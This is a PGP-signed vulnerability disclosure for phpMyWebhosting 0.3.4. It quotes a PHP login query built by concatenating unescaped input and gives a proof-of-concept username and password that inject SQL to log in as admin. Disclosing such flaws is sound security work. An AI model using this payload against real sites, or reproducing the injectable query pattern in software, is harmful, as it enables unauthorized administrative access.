phpmywebhosting 0.3.4 has a SQL injection vulnerability where an attacker can be authenticated as an admin by just using [usr= admin"-(] and [pass="asdf].
67cc62c3244f69dcb87dc12efe4c2bf6440d68205346aeb7abb433a015e46d7d
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi all.
There is a posible security bug in the phpMyWebhosting
(http://sourceforge.net/projects/phpmywebhosting/)
File: includes/functions/pmwh.php
Function: test
Code:
- ------------------------------------------------------------------------
......
if ( isset($_POST['password']) && ($_POST['password'] != "")) {
$query = 'SELECT * FROM customers WHERE customer = "' . $user . '" AND
password = password("' . $_POST['password'] . '")';
$check_pwd=sql_query($query);
$num_rows=sql_num_rows($check_pwd);
if ($num_rows!=1) {
echo "<center><h2>Wrong Password</h2></center><br>";
return false;
} else ........
- ------------------------------------------------------------------------
Proof of concept: try using
usr: admin"-(
pass: "asdfasdf
Cheers.
Matias Neiff
www.root-solutions.com.ar
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFBHk7WCRaMUNBLpxsRAiFGAKCx0UsyP7JmhuWgjRoR/xHdrGmbhQCfZ8iz
OfBEoEKU6U0k00XFmad1ENE=
=L1GN
-----END PGP SIGNATURE-----